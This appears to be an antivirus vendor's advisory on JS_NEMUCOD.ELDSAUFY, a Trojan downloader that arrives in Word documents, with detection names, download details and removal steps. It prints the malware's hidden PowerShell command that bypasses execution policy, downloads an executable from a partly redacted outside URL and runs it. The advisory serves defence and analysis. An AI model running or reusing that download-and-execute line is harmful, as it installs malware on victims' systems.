JS_NEMUCOD.ELDSAUFY
JS/Agent.QJI!tr (FORTINET); JS/DwnLdr-TEV (SOPHOS_LITE)
Windows
Threat Type: Trojan
Destructiveness: No
Encrypted: Yes
In the wild: Yes
OVERVIEW
Dropped by other malware, Downloaded from the Internet
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.
TECHNICAL DETAILS
1,624 bytes
JS
No
25 May 2017
Connects to URLs/IPs
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
This malware arrives via the following means:
- Embedded in Microsoft Word Documents
Download Routine
This Trojan accesses the following websites to download files:
- http://{BLOCKED}ibitkiselshop.com/lib/images/urunler/winsys.exe
It saves the files it downloads using the following names:
- %User Temp%\anyFileName.exe
(Note: %User Temp% is the user's temporary folder, where it usually is C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Local\Temp on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)
It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.
Other Details
This Trojan does the following:
- The malware uses the following command to execute its malicious routine:
cmd.exe /c powershell.exe -windowstyle hidden -noprofile -executionpolicy bypass $path = $env:temp + '\' + 'anyFileName.exe';(New-Object System.Net.WebClient).DownloadFile('http://{BLOCKED}ibitkiselshop.com/lib/images/urunler/winsys.exe', $path);Start-Process $path
NOTES:
This malware arrives through a Word document file. It is embedded and will execute its routine upon activation by the user:
SOLUTION
9.850
13.428.06
25 May 2017
13.429.00
26 May 2017
Step 1
Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Search and delete these files
- %User Temp%\anyFileName.exe
Step 4
Scan your computer with your Trend Micro product to delete files detected as JS_NEMUCOD.ELDSAUFY. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.
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